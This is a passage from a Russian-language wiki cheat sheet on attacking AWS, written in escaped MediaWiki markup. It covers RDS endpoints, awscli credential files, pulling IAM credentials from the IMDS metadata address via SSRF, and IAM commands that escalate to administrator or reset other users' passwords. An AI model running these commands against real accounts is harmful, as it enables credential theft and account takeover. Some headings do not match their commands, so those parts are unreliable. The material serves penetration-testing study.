rds.us-east-2.api.aws&lt;br /&gt;
&lt;br /&gt;
rds-fips.us-east-2.amazonaws.com&lt;br /&gt;
|-&lt;br /&gt;
|us-east-1&lt;br /&gt;
|rds.us-east-1.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds-fips.us-east-1.api.aws&lt;br /&gt;
&lt;br /&gt;
rds-fips.us-east-1.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.us-east-1.api.aws&lt;br /&gt;
|-&lt;br /&gt;
|us-west-1&lt;br /&gt;
|rds.us-west-1.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.us-west-1.api.aws&lt;br /&gt;
&lt;br /&gt;
rds-fips.us-west-1.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds-fips.us-west-1.api.aws&lt;br /&gt;
|-&lt;br /&gt;
|us-west-2&lt;br /&gt;
|rds.us-west-2.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds-fips.us-west-2.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.us-west-2.api.aws&lt;br /&gt;
&lt;br /&gt;
rds-fips.us-west-2.api.aws&lt;br /&gt;
|-&lt;br /&gt;
|af-south-1&lt;br /&gt;
|rds.af-south-1.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.af-south-1.api.aws&lt;br /&gt;
|-&lt;br /&gt;
|ap-east-1&lt;br /&gt;
|rds.ap-east-1.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.ap-east-1.api.aws&lt;br /&gt;
|-&lt;br /&gt;
|ap-southeast-3&lt;br /&gt;
|rds.ap-southeast-3.amazonaws.com&lt;br /&gt;
|-&lt;br /&gt;
|ap-south-1&lt;br /&gt;
|rds.ap-south-1.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.ap-south-1.api.aws&lt;br /&gt;
|-&lt;br /&gt;
|ap-northeast-3&lt;br /&gt;
|rds.ap-northeast-3.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.ap-northeast-3.api.aws&lt;br /&gt;
|-&lt;br /&gt;
|ap-northeast-2&lt;br /&gt;
|rds.ap-northeast-2.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.ap-northeast-2.api.aws&lt;br /&gt;
|-&lt;br /&gt;
|ap-southeast-1&lt;br /&gt;
|rds.ap-southeast-1.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.ap-southeast-1.api.aws&lt;br /&gt;
|-&lt;br /&gt;
|ap-southeast-2&lt;br /&gt;
|rds.ap-southeast-2.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.ap-southeast-2.api.aws&lt;br /&gt;
|-&lt;br /&gt;
|ap-northeast-1&lt;br /&gt;
|rds.ap-northeast-1.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.ap-northeast-1.api.aws&lt;br /&gt;
|-&lt;br /&gt;
|ca-central-1&lt;br /&gt;
|rds.ca-central-1.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.ca-central-1.api.aws&lt;br /&gt;
&lt;br /&gt;
rds-fips.ca-central-1.api.aws&lt;br /&gt;
&lt;br /&gt;
rds-fips.ca-central-1.amazonaws.com&lt;br /&gt;
|-&lt;br /&gt;
|eu-central-1&lt;br /&gt;
|rds.eu-central-1.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.eu-central-1.api.aws&lt;br /&gt;
|-&lt;br /&gt;
|eu-west-1&lt;br /&gt;
|rds.eu-west-1.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.eu-west-1.api.aws&lt;br /&gt;
|-&lt;br /&gt;
|eu-west-2&lt;br /&gt;
|rds.eu-west-2.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.eu-west-2.api.aws&lt;br /&gt;
|-&lt;br /&gt;
|eu-south-1&lt;br /&gt;
|rds.eu-south-1.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.eu-south-1.api.aws&lt;br /&gt;
|-&lt;br /&gt;
|eu-west-3&lt;br /&gt;
|rds.eu-west-3.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.eu-west-3.api.aws&lt;br /&gt;
|-&lt;br /&gt;
|eu-north-1&lt;br /&gt;
|rds.eu-north-1.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.eu-north-1.api.aws&lt;br /&gt;
|-&lt;br /&gt;
|me-south-1&lt;br /&gt;
|rds.me-south-1.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.me-south-1.api.aws&lt;br /&gt;
|-&lt;br /&gt;
|sa-east-1&lt;br /&gt;
|rds.sa-east-1.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.sa-east-1.api.aws&lt;br /&gt;
|-&lt;br /&gt;
|us-gov-east-1&lt;br /&gt;
|rds.us-gov-east-1.amazonaws.com&lt;br /&gt;
|-&lt;br /&gt;
|us-gov-west-1&lt;br /&gt;
|rds.us-gov-west-1.amazonaws.com&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
Или только регионы (могут пригодиться при переборе):&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
us-east-2&lt;br /&gt;
us-east-1&lt;br /&gt;
us-west-1&lt;br /&gt;
us-west-2&lt;br /&gt;
af-south-1&lt;br /&gt;
ap-east-1&lt;br /&gt;
ap-southeast-3&lt;br /&gt;
ap-south-1&lt;br /&gt;
ap-northeast-3&lt;br /&gt;
ap-northeast-2&lt;br /&gt;
ap-southeast-1&lt;br /&gt;
ap-southeast-2&lt;br /&gt;
ap-northeast-1&lt;br /&gt;
ca-central-1&lt;br /&gt;
eu-central-1&lt;br /&gt;
eu-west-1&lt;br /&gt;
eu-west-2&lt;br /&gt;
eu-south-1&lt;br /&gt;
eu-west-3&lt;br /&gt;
eu-north-1&lt;br /&gt;
me-south-1&lt;br /&gt;
sa-east-1&lt;br /&gt;
us-gov-east-1&lt;br /&gt;
us-gov-west-1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Доступы ==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Консольная утилита(awscli) ==&lt;br /&gt;
&lt;br /&gt;
Чаще всего для взаимодействия с сервисами AWS вам потребуется консольная утилита awscli.&lt;br /&gt;
&lt;br /&gt;
Утилита работает с настроенными профилями.&lt;br /&gt;
&lt;br /&gt;
=== Файлы ===&lt;br /&gt;
&lt;br /&gt;
==== ~/.aws/credentials ====&lt;br /&gt;
&lt;br /&gt;
Файл с учетными данными профилей.  Перефразирую: получив данные из этого файла вы, вероятнее всего, получите контроль над аккаунтами в нем.&lt;br /&gt;
&lt;br /&gt;
У каждого профиля будет указан:&lt;br /&gt;
&lt;br /&gt;
* Access Key ID - 20 случайных букв/цифр в верхнем регистре, часто начинается с &amp;quot;AKIA...&amp;quot;&lt;br /&gt;
&lt;br /&gt;
* Access Key - 40 случайных символов различного регистра.&lt;br /&gt;
&lt;br /&gt;
* Access Token - не всегда указывается&lt;br /&gt;
&lt;br /&gt;
Полный список параметров можно посмотреть тут: https://docs.aws.amazon.com/cli/latest/userguide/cli-configure-files.html#cli-configure-files-settings&lt;br /&gt;
&lt;br /&gt;
Пример содержимого файла (сохранен профиль default):&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
[default]&lt;br /&gt;
aws_access_key_id=AKIAIOSFODNN7EXAMPLE&lt;br /&gt;
aws_secret_access_key=wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY&lt;br /&gt;
aws_session_token = AQoEXAMPLEH4aoAH0gNCAPyJxz4BlCFFxWNE1OPTgk5TthT+FvwqnKwRcOIfrRh3c/LTo6UDdyJwOOvEVPvLXCrrrUtdnniCEXAMPLE/IvU1dYUg2RVAJBanLiHb4IgRmpRV3zrkuWJOgQs8IZZaIv2BXIa2R4Olgk&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== ~/.aws/config ====&lt;br /&gt;
&lt;br /&gt;
Файл с региональными настройками профиля(регион по-умолчанию). &lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
[default]&lt;br /&gt;
region=us-west-2&lt;br /&gt;
output=json&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== ~/.aws/cli/cache ====&lt;br /&gt;
&lt;br /&gt;
Закешированные учетные данные&lt;br /&gt;
&lt;br /&gt;
==== ~/.aws/sso/cache ====&lt;br /&gt;
&lt;br /&gt;
Закешированные данные Single-Sign-On&lt;br /&gt;
&lt;br /&gt;
=== Команды ===&lt;br /&gt;
&lt;br /&gt;
Общее построение команды выглядит как:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws &amp;lt;название_сервиса&amp;gt; &amp;lt;действие&amp;gt; &amp;lt;дополнительные_аргументы&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Примеры:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
# Вывести все S3-хранилища.&lt;br /&gt;
aws s3 ls&lt;br /&gt;
&lt;br /&gt;
# Создание нового пользователя - сервис IAM&lt;br /&gt;
aws iam create-user --user-name aws-admin2&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== IMDS (Instance Metadata Service) ==&lt;br /&gt;
&lt;br /&gt;
Это http API для запросов из EC2. Полезно если, например, у вас есть уязвимость SSRF в EC2.&lt;br /&gt;
&lt;br /&gt;
Есть 2 версии:&lt;br /&gt;
&lt;br /&gt;
*IMDSv1 - версия 1 по-умолчанию, не требует токен. &lt;br /&gt;
&lt;br /&gt;
*IMDSv2 - версия 2, для запросов требуется токен.&lt;br /&gt;
&lt;br /&gt;
Запрос без токена:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
curl http://169.254.169.254/latest/meta-data/&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Запрос с токеном:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
TOKEN=`curl -X PUT &amp;quot;http://169.254.169.254/latest/api/token&amp;quot; -H &amp;quot;X-aws-ec2-metadata-token-ttl-seconds: 21600&amp;quot;` &amp;amp;&amp;amp; curl -H &amp;quot;X-aws-ec2-metadata-token: $TOKEN&amp;quot; -v http://169.254.169.254/latest/meta-data/&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Кроме доп. информации можно получить access-token для доступа в AWS с сервисного аккаунта ec2 (только для IMDSv2):&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
# В начале делаем запрос на директорию /security-credentials/&lt;br /&gt;
http://169.254.169.254/latest/meta-data/iam/security-credentials/&lt;br /&gt;
# Потом выбираем нужный аккаунт и делаем запрос на него&lt;br /&gt;
http://169.254.169.254/latest/meta-data/iam/security-credentials/test-account&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Пример ответа:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;json&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
{ &lt;br /&gt;
    &amp;quot;Code&amp;quot; : &amp;quot;Success&amp;quot;, &lt;br /&gt;
    &amp;quot;LastUpdated&amp;quot; : &amp;quot;2019-12-03T07:15:34Z&amp;quot;, &lt;br /&gt;
    &amp;quot;Type&amp;quot; : &amp;quot;AWS-HMAC&amp;quot;, &lt;br /&gt;
    &amp;quot;AccessKeyId&amp;quot; : &amp;quot;xxxxxxxxxxxxxxxxxxx&amp;quot;, &lt;br /&gt;
    &amp;quot;SecretAccessKey&amp;quot; : &amp;quot;xxxxxxxxxxxxxxxxxxxxx&amp;quot;, &lt;br /&gt;
    &amp;quot;Token&amp;quot; : &amp;quot;xxxxxxxxxxxxxxxxxxxxx&amp;quot;, &lt;br /&gt;
    &amp;quot;Expiration&amp;quot; : &amp;quot;2019-12-03T13:50:22Z&amp;quot;&lt;br /&gt;
} &lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
После чего эти учетные данные можно использовать с awscli.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Другие полезные Endpoint'ы:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
http://169.254.169.254/&lt;br /&gt;
http://169.254.169.254/latest/user-data&lt;br /&gt;
http://169.254.169.254/latest/user-data/iam/security-credentials/[ROLE NAME]&lt;br /&gt;
http://169.254.169.254/latest/meta-data/&lt;br /&gt;
http://169.254.169.254/latest/meta-data/iam/security-credentials/[ROLE NAME]&lt;br /&gt;
http://169.254.169.254/latest/meta-data/iam/security-credentials/PhotonInstance&lt;br /&gt;
http://169.254.169.254/latest/meta-data/ami-id&lt;br /&gt;
http://169.254.169.254/latest/meta-data/reservation-id&lt;br /&gt;
http://169.254.169.254/latest/meta-data/hostname&lt;br /&gt;
http://169.254.169.254/latest/meta-data/public-keys/&lt;br /&gt;
http://169.254.169.254/latest/meta-data/public-keys/0/openssh-key&lt;br /&gt;
http://169.254.169.254/latest/meta-data/public-keys/[ID]/openssh-key&lt;br /&gt;
http://169.254.169.254/latest/meta-data/iam/security-credentials/dummy&lt;br /&gt;
http://169.254.169.254/latest/meta-data/iam/security-credentials/s3access&lt;br /&gt;
http://169.254.169.254/latest/dynamic/instance-identity/document&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= Ролевая модель =&lt;br /&gt;
&lt;br /&gt;
Почти все описание доступа идет через ролд. А роли в свою очередь состоят из двух типов политик:&lt;br /&gt;
&lt;br /&gt;
* trust policy - определяет, чья будет роль&lt;br /&gt;
&lt;br /&gt;
* permissions policy - определяет какой доступ будет у тех, у кого эта роль.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Каждая политика состоит из следующих компонентов:&lt;br /&gt;
&lt;br /&gt;
* Ресурс - цель, кому выдается правило. Может быть:&lt;br /&gt;
** Пользователь&lt;br /&gt;
** Группа, в которой могут быть аккаунты по какому то признаку&lt;br /&gt;
** Другая политика.&lt;br /&gt;
&lt;br /&gt;
* Роль(Action) - какое-либо действие (например, iam:ListGroupPolicies - посмотреть список груповых политик)&lt;br /&gt;
&lt;br /&gt;
* Тип правила(Effect) - разрешение или запрет.&lt;br /&gt;
&lt;br /&gt;
* Политика(Policy) - совокупность Роль(действие) -&amp;gt; разрешение/запрет -&amp;gt; Ресурс(кому).&lt;br /&gt;
&lt;br /&gt;
* Условия(Condition) - отдельные условия, например, ip.&lt;br /&gt;
&lt;br /&gt;
Пример политики:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;json&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
{&lt;br /&gt;
    &amp;quot;Version&amp;quot;: &amp;quot;2012-10-17&amp;quot;,  //Версия политики&lt;br /&gt;
    &amp;quot;Statement&amp;quot;: [  &lt;br /&gt;
        {&lt;br /&gt;
            &amp;quot;Sid&amp;quot;: &amp;quot;Stmt32894y234276923&amp;quot; //Опционально - уникальный идентификатор&lt;br /&gt;
            &amp;quot;Effect&amp;quot;: &amp;quot;Allow&amp;quot;, //Разрешить или запретить&lt;br /&gt;
            &amp;quot;Action&amp;quot;: [  //Разрешенные/Запрещенные действия&lt;br /&gt;
                &amp;quot;ec2:AttachVolume&amp;quot;,&lt;br /&gt;
                &amp;quot;ec2:DetachVolume&amp;quot;&lt;br /&gt;
            ], &lt;br /&gt;
            &amp;quot;Resource&amp;quot;: [ //На какие ресурсы можно/нельзя совершать действия&lt;br /&gt;
                &amp;quot;arn:aws:ec2:*:*:volume/*&amp;quot;,&lt;br /&gt;
                &amp;quot;arn:aws:ec2:*:*:instance/*&amp;quot;&lt;br /&gt;
            ],&lt;br /&gt;
            &amp;quot;Condition&amp;quot;: { //Опционально - условия срабатывания&lt;br /&gt;
                &amp;quot;ArnEquals&amp;quot;: {&amp;quot;ec2:SourceInstanceARN&amp;quot;: &amp;quot;arn:aws:ec2:*:*:instance/instance-id&amp;quot;}&lt;br /&gt;
            }&lt;br /&gt;
        }&lt;br /&gt;
    ]&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Определение ролей ==&lt;br /&gt;
&lt;br /&gt;
=== Вручную ===&lt;br /&gt;
TODO команды по определению своих ролей&lt;br /&gt;
&lt;br /&gt;
=== Автоматизированно ===&lt;br /&gt;
&lt;br /&gt;
== Эксплуатация ==&lt;br /&gt;
&lt;br /&gt;
Когда вы определили, какие роли у вас есть, перейдите выше на соответствующий сервис, к которому идет данная роль и прочтите как ее эксплуатировать.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Тут будут отдельные роли, которые не прикреплены ни к одному сервису.&lt;br /&gt;
&lt;br /&gt;
=== Административный доступ ===&lt;br /&gt;
&lt;br /&gt;
Как выглядит роль с административным доступом:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;json&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
&amp;quot;Statement&amp;quot;: [&lt;br /&gt;
    {&lt;br /&gt;
      &amp;quot;Effect&amp;quot;: &amp;quot;Allow&amp;quot;,&lt;br /&gt;
      &amp;quot;Action&amp;quot;: [&lt;br /&gt;
        &amp;quot;*&amp;quot;&lt;br /&gt;
      ],&lt;br /&gt;
      &amp;quot;Resource&amp;quot;: &amp;quot;*&amp;quot;&lt;br /&gt;
    }&lt;br /&gt;
]&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= Службы =&lt;br /&gt;
&lt;br /&gt;
== IAM ==&lt;br /&gt;
&lt;br /&gt;
Сервис по обеспечению контроля доступа. Подробнее про ролевую модель можно почитать в соответствующей главе.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Роли - повышение привилегий ===&lt;br /&gt;
&lt;br /&gt;
==== iam:UpdateLoginProfile ====&lt;br /&gt;
&lt;br /&gt;
Сбросить пароль у других пользователей:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws iam update-login-profile --user-name target_user --password '|[3rxYGGl3@`~68)O{,-$1B”zKejZZ.X1;6T}&amp;lt;XT5isoE=LB2L^G@{uK&amp;gt;f;/CQQeXSo&amp;gt;}th)KZ7v?\\hq.#@dh49″=fT;|,lyTKOLG7J[qH$LV5U&amp;lt;9`O~Z”,jJ[iT-D^(' --no-password-reset-required&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== iam:PassRole + ec2:RunInstance ====&lt;br /&gt;
&lt;br /&gt;
См. EC2&lt;br /&gt;
&lt;br /&gt;
==== iam:PassRole + glue:CreateDevEndpoint ====&lt;br /&gt;
&lt;br /&gt;
См. Glue&lt;br /&gt;
&lt;br /&gt;
=== Роли - повышение до админа ===&lt;br /&gt;
&lt;br /&gt;
==== iam:AddUserToGroup ====&lt;br /&gt;
&lt;br /&gt;
Добавить юзера в административную группу:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws iam add-user-to-group --group-name &amp;lt;название_группы&amp;gt; --user-name &amp;lt;логин&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== iam:PutUserPolicy ====&lt;br /&gt;
&lt;br /&gt;
Право добавить своб политику к ранее скомпрометированным обьектам. &lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws iam put-user-policy --user-name &amp;lt;логин&amp;gt; --policy-name my_inline_policy --policy-document file://path/to/administrator/policy.json&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== iam:CreateLoginProfile ====&lt;br /&gt;
&lt;br /&gt;
Привилегия для создания профиля(с паролем)  для аккаунта, выставить новый пароль и перейти под этого пользователя.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws iam create-login-profile --user-name target_user –password '|[3rxYGGl3@`~68)O{,-$1B”zKejZZ.X1;6T}&amp;lt;XT5isoE=LB2L^G@{uK&amp;gt;f;/CQQeXSo&amp;gt;}th)KZ7v?\\hq.#@dh49″=fT;|,lyTKOLG7J[qH$LV5U&amp;lt;9`O~Z”,jJ[iT-D^(' --no-password-reset-required&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== iam:UpdateLoginProfile ====&lt;br /&gt;
&lt;br /&gt;
Добавить существующую политику к любому пользователю.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws iam attach-user-policy --user-name my_username --policy-arn arn:aws:iam::aws:policy/AdministratorAccess&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==== iam:AttachGroupPolicy ====&lt;br /&gt;
&lt;br /&gt;
Добавить существующую политику к любой группе.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws iam attach-user-policy --user-name my_username --policy-arn arn:aws:iam::aws:policy/AdministratorAccess&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== iam:AttachRolePolicy ====&lt;br /&gt;
&lt;br /&gt;
Добавить существующую политику к любой роли.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws iam attach-role-policy --role-name role_i_can_assume --policy-arn arn:aws:iam::aws:policy/AdministratorAccess&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== iam:CreatePolicy ====&lt;br /&gt;
&lt;br /&gt;
Создать административную политику.&lt;br /&gt;
&lt;br /&gt;
==== iam:AddUserToGroup ====&lt;br /&gt;
&lt;br /&gt;
Добавить пользователя в группу администраторов:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws iam add-user-to-group --group-name target_group --user-name my_username&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== iam:CreatePolicyVersion + iam:SetDefaultPolicyVersion ====&lt;br /&gt;
&lt;br /&gt;
Позволяет поменять политику, выставленную администраторами сети и применить ее, после чего повысить привилегии у обьекта.&lt;br /&gt;
&lt;br /&gt;
Например, если у вас это право, то вы можете создать произвольную политику, дающую полный доступ и применить ее.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
# Создание политики&lt;br /&gt;
aws iam create-policy-version --policy-arn target_policy_arn --policy-document file://path/to/administrator/policy.json --set-as-default&lt;br /&gt;
# Установка политики по умолчанию.&lt;br /&gt;
aws iam set-default-policy-version –policy-arn target_policy_arn –version-id v2&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== iam:PassRole + ec2:CreateInstanceProfile/ec2:AddRoleToInstanceProfile ====&lt;br /&gt;
&lt;br /&gt;
См. EC2&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== AWS Shield ==&lt;br /&gt;
&lt;br /&gt;
Сервис для защиты от DDoS.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Cognito ==&lt;br /&gt;
&lt;br /&gt;
Позволяет быстро и просто добавлять возможности регистрации, авторизации и контроля доступа пользователей в мобильные и интернет-приложения.&lt;br /&gt;
&lt;br /&gt;
=== Основное ===&lt;br /&gt;
&lt;br /&gt;
Cognito отвечает за следующие действия:&lt;br /&gt;
&lt;br /&gt;
* Регистрация пользователя (email + пароль)&lt;br /&gt;
&lt;br /&gt;
* Авторизация пользователя&lt;br /&gt;
&lt;br /&gt;
* Работа с сохраненной пользовательской информацией (устанавливается приложением)&lt;br /&gt;
&lt;br /&gt;
* Специальные действия (например, предоставление AWS-ключей)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Все общение идет по HTTP(s). Особенность системы в том, что Cognito общается как напрямую с чужим веб-сайтом, так и напрямую с клиентским браузером. То есть веб-сервер не знает, какой был передан пароль (в нормальной реализации).&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Пример URL: cognito-identity.us-east-1.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
За действие отвечает HTTP-заголовок &amp;quot;X-Amz-Target&amp;quot;. В своем роде, это Endpoints API.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Какие параметры требуются для работы с ним:&lt;br /&gt;
&lt;br /&gt;
1. Название Endpoint'а  - &amp;quot;X-Amz-Target&amp;quot; заголовок&lt;br /&gt;
&lt;br /&gt;
2. Регион - &amp;quot;aws_project_region&amp;quot; параметр&lt;br /&gt;
&lt;br /&gt;
3. Session token - позже требуется для запросов.&lt;br /&gt;
&lt;br /&gt;
4. Identity Pool ID - нужен для запросов типа Identity Pools.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Также пишут, что Cognito разделяется на две основные части:&lt;br /&gt;
&lt;br /&gt;
* User Pools  - для тех, кому нужна только регистрация и аутентификация&lt;br /&gt;
&lt;br /&gt;
* Identity Pools - для тех, кому еще и нужен доступ к AWS-ресурсам.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== X-Amz-Target (Endpoints) ===&lt;br /&gt;
&lt;br /&gt;
==== AWSCognitoIdentityService.UpdateUserAttributes ====&lt;br /&gt;
&lt;br /&gt;
У каждого пользователя есть поля, которые могут быть установлены самим пользователем (например, фамилия или дата рождения). Но также это могут быть и критичные поля, такие, как ID пользователя, администратор ли он и так далее.&lt;br /&gt;
&lt;br /&gt;
